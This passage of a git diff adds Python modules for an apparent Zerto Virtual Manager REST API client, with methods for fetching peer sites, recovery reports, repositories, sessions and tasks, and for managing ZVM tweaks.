response.raise_for_status() + return response.json() if response.content else None + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_peer_site(self, site_identifier): + logging.info(f"PeerSites.get_peer_site: Fetching peer site information for site identifier: {site_identifier}...") + url = f"https://{self.client.zvm_address}/v1/peersites/{site_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + logging.info(f"PeerSites.get_peer_site: Successfully retrieved peer site information for site identifier: {site_identifier}.") + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_peer_site_types(self): + logging.info("PeerSites.get_peer_site_types: Fetching peer site information for site types...") + url = f"https://{self.client.zvm_address}/v1/peersites/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + logging.info("PeerSites.get_peer_site_types: Successfully retrieved peer site types information.") + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/recovery_reports.py b/zvml/recovery_reports.py new file mode 100644 index 0000000..8fad607 --- /dev/null +++ b/zvml/recovery_reports.py @@ -0,0 +1,255 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import json + +class RecoveryReports: + def __init__(self, client): + self.client = client + + def get_recovery_reports(self, recovery_operation_identifier=None, page_number=1, page_size=1000, + vpg_name=None, recovery_type=None, state=None, start_time=None, end_time=None): + """ + Generate a recovery report and view information about recovery operations. + + Args: + recovery_operation_identifier (str): The identifier of a specific recovery operation. If provided, no other parameters are used. + start_time (str): The filtering interval start date-time. + end_time (str): The filtering interval end date-time. + page_number (int): The page number to retrieve. Default is 1. + page_size (int): The number of reports to display in a single page. Max 1000. Default is 1000. + vpg_name (str): The name of the VPG(s) to filter by. Separate multiple VPGs with commas. + recovery_type (str): The type of recovery operation. Possible values: Failover, FailoverTest, Move. + state (str): The recovery operation state. Possible values: Success, Fail. + + Returns: + dict: The response from the ZVM API containing recovery report details. + """ + + logging.info(f'RecoveryReports.get_recovery_reports recovery_operation_identifier: {recovery_operation_identifier}, \ + start_time: {start_time}, end_time: {end_time}, page_number: {page_number}, \ + page_size: {page_size}, vpg_name: {vpg_name}, recovery_type: {recovery_type}, state: {state}') + + # Determine the URL based on whether recoveryOperationIdentifier is provided + if recovery_operation_identifier: + base_url = f"https://{self.client.zvm_address}/v1/reports/recovery/{recovery_operation_identifier}" + params = None # No query parameters for this endpoint + else: + base_url = f"https://{self.client.zvm_address}/v1/reports/recovery" + # Parameters for the request + params = { + "startTime": start_time, + "endTime": end_time, + "pageNumber": page_number, + "pageSize": page_size, + } + + # Optional parameters + if vpg_name: + params["vpgName"] = vpg_name + if recovery_type: + params["recoveryType"] = recovery_type + if state: + params["state"] = state + + # Headers for the request + headers = { + "Authorization": f"Bearer {self.client.token}", + "Accept": "application/json", + } + + try: + response = requests.get(base_url, headers=headers, params=params, verify=self.client.verify_certificate) + + if response.status_code == 200: + # logging.info(f"Successfully retrieved recovery reports = {json.dumps(response.json(), indent=4)}") + return response.json() + else: + logging.error(f"Failed to fetch recovery reports. Status Code: {response.status_code}, Response: {response.text}") + response.raise_for_status() + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def list_resource_reports(self, start_time=None, end_time=None, page_number=None, page_size=None, + zorg_name=None, vpg_name=None, vm_name=None, protected_site_name=None, + protected_cluster_name=None, protected_host_name=None, protected_org_vdc=None, + protected_vcd_org=None, recovery_site_name=None, recovery_cluster_name=None, + recovery_host_name=None, recovery_org_vdc=None, recovery_vcd_org=None): + """ + Fetch resource reports with optional filters. + + Args: + start_time (str): The filtering interval start date-time. + end_time (str): The filtering interval end date-time. + page_number (int): The page number to retrieve. + page_size (int): The number of reports per page (max 1000). + zorg_name (str): The name of the ZORG in the Zerto Cloud Manager. + vpg_name (str): The name of the VPG. + vm_name (str): The name of the virtual machine. + protected_site_name (str): The name of the protected site. + protected_cluster_name (str): The name of the protected cluster. + protected_host_name (str): The name of the protected host. + protected_org_vdc (str): The name of the protected VDC organization. + protected_vcd_org (str): The name of the protected VCD organization. + recovery_site_name (str): The name of the recovery site. + recovery_cluster_name (str): The name of the recovery cluster. + recovery_host_name (str): The name of the recovery host. + recovery_org_vdc (str): The name of the recovery VDC organization. + recovery_vcd_org (str): The name of the recovery VCD organization. + + Returns: + list: A list of resource reports based on the provided filters. + """ + logging.info(f"list_resource_reports(start_time={start_time}, end_time={end_time}, page_number={page_number}, " + f"page_size={page_size}, zorg_name={zorg_name}, vpg_name={vpg_name}, vm_name={vm_name}, " + f"protected_site_name={protected_site_name}, protected_cluster_name={protected_cluster_name}, " + f"protected_host_name={protected_host_name}, protected_org_vdc={protected_org_vdc}, " + f"protected_vcd_org={protected_vcd_org}, recovery_site_name={recovery_site_name}, " + f"recovery_cluster_name={recovery_cluster_name}, recovery_host_name={recovery_host_name}, " + f"recovery_org_vdc={recovery_org_vdc}, recovery_vcd_org={recovery_vcd_org})") + + uri = f"https://{self.client.zvm_address}/v1/reports/resources" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + # Building query parameters + params = {} + if start_time: + params['startTime'] = start_time + if end_time: + params['endTime'] = end_time + if page_number is not None: + params['pageNumber'] = page_number + if page_size is not None: + params['pageSize'] = page_size + if zorg_name: + params['zorgName'] = zorg_name + if vpg_name: + params['vpgName'] = vpg_name + if vm_name: + params['vmName'] = vm_name + if protected_site_name: + params['protectedSiteName'] = protected_site_name + if protected_cluster_name: + params['protectedClusterName'] = protected_cluster_name + if protected_host_name: + params['protectedHostName'] = protected_host_name + if protected_org_vdc: + params['protectedOrgVdc'] = protected_org_vdc + if protected_vcd_org: + params['protectedVcdOrg'] = protected_vcd_org + if recovery_site_name: + params['recoverySiteName'] = recovery_site_name + if recovery_cluster_name: + params['recoveryClusterName'] = recovery_cluster_name + if recovery_host_name: + params['recoveryHostName'] = recovery_host_name + if recovery_org_vdc: + params['recoveryOrgVdc'] = recovery_org_vdc + if recovery_vcd_org: + params['recoveryVcdOrg'] = recovery_vcd_org + + try: + response = requests.get(uri, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + reports = response.json() + + if not reports: + logging.warning("No resource reports found.") + return [] + + return reports + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_latest_failover_test_report(self, vpg_name): + """ + Get the most recent failover test report for a specific VPG. + + Args: + vpg_name (str): The name of the VPG to get the report for. + + Returns: + dict: The most recent failover test report for the VPG, or None if no reports found. + """ + logging.info(f"RecoveryReports.get_latest_failover_test_report VPG: {vpg_name}") + + try: + # Get all failover test reports for this VPG + reports = self.get_recovery_reports( + vpg_name=vpg_name, + recovery_type="FailoverTest", + page_size=1000 # Adjust if you need more reports + ) + + if not reports: + logging.warning(f"No failover test reports found for VPG: {vpg_name}") + return None + + # Sort reports by StartTime in descending order and get the first one + sorted_reports = sorted( + reports, + key=lambda x: x["General"].get("EndTime", ""), + reverse=True + ) + + if sorted_reports: + return sorted_reports[0] + + return None + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/recoveryscripts.py b/zvml/recoveryscripts.py new file mode 100644 index 0000000..744739d --- /dev/null +++ b/zvml/recoveryscripts.py @@ -0,0 +1,93 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class RecoveryScripts: + def __init__(self, client): + self.client = client + + def get_recovery_scripts(self): + url = f"https://{self.client.zvm_address}/v1/recoveryscripts" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + def get_recovery_script(self, script_identifier): + url = f"https://{self.client.zvm_address}/v1/recoveryscripts/{script_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + def get_recovery_script_types(self): + url = f"https://{self.client.zvm_address}/v1/recoveryscripts/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/repositories.py b/zvml/repositories.py new file mode 100644 index 0000000..5becc18 --- /dev/null +++ b/zvml/repositories.py @@ -0,0 +1,95 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Repositories: + def __init__(self, client): + self.client = client + + def get_repositories(self): + url = f"https://{self.client.zvm_address}/v1/repositories" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_repository(self, repository_identifier): + url = f"https://{self.client.zvm_address}/v1/repositories/{repository_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_repository_types(self): + url = f"https://{self.client.zvm_address}/v1/repositories/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/server_date_time.py b/zvml/server_date_time.py new file mode 100644 index 0000000..cdff999 --- /dev/null +++ b/zvml/server_date_time.py @@ -0,0 +1,72 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +from enum import Enum + +class DateTimeFormat(Enum): + """Enum for date time format options""" + DEFAULT = "" # Returns full server time info + LOCAL = "serverDateTimeLocal" # Returns local time + UTC = "serverDateTimeUtc" # Returns UTC time + ARGUMENT = "dateTimeArgument" # Returns date time argument format + +class ServerDateTime: + def __init__(self, client): + self.client = client + + def get_server_date_time(self, format=DateTimeFormat.DEFAULT): + """ + Get the server date and time in the specified format. + + Args: + format (DateTimeFormat): The format to return the date-time in. + - DEFAULT: Returns full server time info (timezone, UTC time, local time, offset) + - LOCAL: Returns local time + - UTC: Returns UTC time + - ARGUMENT: Returns date time argument format + + Returns: + dict/str: Server date-time information. Format depends on the format parameter: + - DEFAULT: { + 'TimeZone': str, + 'ServerTimeUtc': str, + 'LocalTime': str, + 'TimeOffset': str + } + - LOCAL: Local time string + - UTC: UTC time string + - ARGUMENT: Date time argument format string + """ + logging.info(f"ServerDateTime.get_server_date_time: Fetching server date and time in {format.name} format...") + + # Build the URL based on the format + base_url = f"https://{self.client.zvm_address}/v1/serverDateTime" + url = base_url if format == DateTimeFormat.DEFAULT else f"{base_url}/{format.value}" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + server_time = response.json() + logging.info(f"Successfully retrieved server date and time in {format.name} format") + return server_time + + except requests.exceptions.RequestException as e: + logging.error(f"Failed to get server date and time: {e}") + if hasattr(e.response, 'text'): + logging.error(f"Error response: {e.response.text}") + raise \ No newline at end of file diff --git a/zvml/service_profiles.py b/zvml/service_profiles.py new file mode 100644 index 0000000..7a02869 --- /dev/null +++ b/zvml/service_profiles.py @@ -0,0 +1,61 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class ServiceProfiles: + def __init__(self, client): + self.client = client + + def get_service_profiles(self, site_identifier=None): + """ + Get the list of all service profiles for the site. + + Args: + site_identifier (str, optional): The identifier of the site for which service profiles + should be returned. + + Returns: + list: List of service profiles with their details including: + - serviceProfileName: Name of the service profile + - rpo: Recovery Point Objective + - history: Journal history length + - maxJournalSizeInPercent: Maximum journal size as percentage + - testInterval: Test interval period + - description: Service profile description + """ + logging.info(f"ServiceProfiles.get_service_profiles: Fetching service profiles...") + + url = f"https://{self.client.zvm_address}/v1/serviceprofiles" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + params = {} + if site_identifier: + params['siteIdentifier'] = site_identifier + logging.info(f"Filtering service profiles for site: {site_identifier}") + + try: + response = requests.get(url, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + profiles = response.json() + logging.info(f"Successfully retrieved {len(profiles)} service profiles") + return profiles + + except requests.exceptions.RequestException as e: + logging.error(f"Failed to get service profiles: {e}") + if hasattr(e.response, 'text'): + logging.error(f"Error response: {e.response.text}") + raise \ No newline at end of file diff --git a/zvml/sessions.py b/zvml/sessions.py new file mode 100644 index 0000000..3ffbb3c --- /dev/null +++ b/zvml/sessions.py @@ -0,0 +1,59 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Sessions: + def __init__(self, client): + self.client = client + + def get_sessions(self): + url = f"https://{self.client.zvm_address}/v1/sessions" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"Failed to get sessions: {e}") + raise + + def get_session(self, session_identifier): + url = f"https://{self.client.zvm_address}/v1/sessions/{session_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"Failed to get session: {e}") + raise + + def get_session_types(self): + url = f"https://{self.client.zvm_address}/v1/sessions/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"Failed to get session types: {e}") + raise \ No newline at end of file diff --git a/zvml/tasks.py b/zvml/tasks.py new file mode 100644 index 0000000..63087f6 --- /dev/null +++ b/zvml/tasks.py @@ -0,0 +1,57 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import time +from .common import ZertoTaskStates + +class Tasks: + def __init__(self, client): + self.client = client + + def wait_for_task_completion(self, task_identifier, timeout=600, interval=5, expected_task_state: ZertoTaskStates = ZertoTaskStates.Completed): + logging.debug(f'wait_for_task_completion(zvm_address={self.client.zvm_address}, task_identifier={task_identifier}, timeout={timeout}, interval={interval})') + start_time = time.time() + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + while True: + # Check if we've exceeded the timeout + if time.time() - start_time > timeout: + logging.error(f'Task ID={task_identifier} timed out after {timeout} seconds') + raise TimeoutError(f"Task did not complete within {timeout} seconds") + + url = f"https://{self.client.zvm_address}/v1/tasks/{task_identifier}" + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + task_info = response.json() + + state = task_info.get("Status", {}).get("State", -1) + progress = task_info.get("Status", {}).get("Progress", 0) + logging.debug(f'Task response: status={ZertoTaskStates.get_name_by_value(state)}, progress={progress}') + + if state == expected_task_state.value and progress == 100: + logging.info("Task completed successfully.") + time.sleep(interval) + return task_info + elif state == ZertoTaskStates.InProgress.value: + time.sleep(interval) + continue + else: + logging.error(f'Task ID={task_identifier} failed. task state={ZertoTaskStates.get_name_by_value(state)}') + raise Exception(f"Task failed: {task_info.get('CompleteReason', 'No reason provided')}") + except requests.exceptions.RequestException as e: + logging.error(f"Request failed: {e}") + raise \ No newline at end of file diff --git a/zvml/tweaks.py b/zvml/tweaks.py new file mode 100644 index 0000000..d6d476e --- /dev/null +++ b/zvml/tweaks.py @@ -0,0 +1,179 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import json +from typing import Dict, List, Optional, Any +from zvml.common import ZertoTweakType + +class Tweaks: + def __init__(self, client): + self.client = client + + def list_tweaks(self, tweak_name: Optional[str] = None) -> List[Dict]: + """List ZVM tweaks. + + Args: + tweak_name: Optional name of specific tweak to retrieve + + Returns: + List[Dict]: List of ZVM tweaks and their current settings, or a single tweak if name provided + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"Tweaks.list_tweaks(zvm_address={self.client.zvm_address}, tweak_name={tweak_name})") + + # Build URL based on whether a specific tweak is requested + base_url = f"https://{self.client.zvm_address}/management/api/tweaks/v1.0/zvmTweaks" + url = f"{base_url}/{tweak_name}" if tweak_name else base_url + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + + # If a specific tweak was requested, wrap the result in a list for consistent return type + if tweak_name: + result = [result] + + logging.info(f"Successfully retrieved {len(result)} ZVM tweak(s)") + logging.debug(f"Tweaks.list_tweaks result: {json.dumps(result, indent=4)}") + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def set_tweak(self, tweak_name: str, value: Any, tweak_type: ZertoTweakType = ZertoTweakType.ZVM, comment: str = "Changed from API") -> Dict: + """Set a ZVM tweak value. + + Args: + tweak_name: Name of the tweak to update + value: New value for the tweak + tweak_type: Type of tweak (ZVM, VRA, or Frontend) + comment: Optional comment for the change + + Returns: + Dict: Updated tweak information + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"Tweaks.set_tweak(zvm_address={self.client.zvm_address}, tweak_name={tweak_name}, value={value}, type={tweak_type.value})") + + url = f"https://{self.client.zvm_address}/management/api/tweaks/v1/zvmTweaks" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + payload = { + "name": tweak_name, + "type": tweak_type.value, + "value": str(value), + "comment": comment + } + + logging.info(f"Tweaks.set_tweak payload: {payload}") + logging.info(f"Tweaks.set_tweak url: {url}") + + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + + # Log the raw response for debugging + logging.debug(f"Raw response status: {response.status_code}") + logging.debug(f"Raw response headers: {dict(response.headers)}") + logging.debug(f"Raw response content: {response.text}") + + response.raise_for_status() + + try: + result = response.json() + logging.info(f"Successfully updated tweak {tweak_name}") + logging.debug(f"Tweaks.set_tweak result: {json.dumps(result, indent=4)}") + return result + except ValueError: + # If response is not JSON but request was successful + logging.info(f"Successfully updated tweak {tweak_name} (no JSON response)") + return {"status": "success", "name": tweak_name} + + except requests.exceptions.RequestException as e: + logging.error(f"Error setting tweak {tweak_name}") + if hasattr(e, 'response') and e.response is not None: + logging.error(f"Status code: {e.response.status_code}") + logging.error(f"Response text: {e.response.text}") + try: + error_json = e.response.json() + logging.error(f"Error details: {json.dumps(error_json, indent=2)}") + except ValueError: + logging.error("Could not parse error response as JSON") + else: + logging.error(f"Request failed: {str(e)}") + raise + + def delete_tweak(self, tweak_name: str) -> None: + """Delete a ZVM tweak. + + Args: + tweak_name: Name of the tweak to delete + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"Tweaks.delete_tweak(zvm_address={self.client.zvm_address}, tweak_name={tweak_name})") + + url = f"https://{self.client.zvm_address}/management/api/tweaks/v1/zvmTweaks/{tweak_name}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"Tweaks.delete_tweak url: {url}") + + try: + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + + # Log the raw response for debugging + logging.debug(f"Raw response status: {response.status_code}") + logging.debug(f"Raw response headers: {dict(response.headers)}") + logging.debug(f"Raw response content: {response.text}") + + response.raise_for_status() + logging.info(f"Successfully deleted tweak {tweak_name}") + + except requests.exceptions.RequestException as e: + logging.error(f"Error deleting tweak {tweak_name}") + if hasattr(e, 'response') and e.response is not None: + logging.error(f"Status code: {e.response.status_code}") + logging.error(f"Response text: {e.response.text}") + try: + error_json = e.response.json() + logging.error(f"Error details: {json.dumps(error_json, indent=2)}") + except ValueError: + logging.error("Could not parse error response as JSON") + else: + logging.error(f"Request failed: {str(e)}") + raise \ No newline at end of file diff --git a/zvml/virtualization_sites.py b/zvml/virtualization_sites.py new file mode 100644 index 0000000..8375a67 --- /dev/null +++ b/zvml/virtualization_sites.py @@ -0,0 +1,989 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class VirtualizationSites: + def __init__(self, client): + self.client = client + + def get_virtualization_sites(self, site_identifier=None): + """ + Get virtualization sites information. (Auth) + + Args: + site_identifier (str, optional): The identifier of the site to get details for. + If not provided, returns all sites. + + Endpoints: + - /v1/virtualizationsites (when site_identifier is None) + - /v1/virtualizationsites/{siteIdentifier} (when site_identifier is provided) + + Returns: + dict or list: Site details if site_identifier is provided, otherwise array of all sites + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites" + if site_identifier: + url = f"{url}/{site_identifier}" + logging.info(f"VirtualizationSites.get_virtualization_sites: Fetching site {site_identifier}...") + else: + 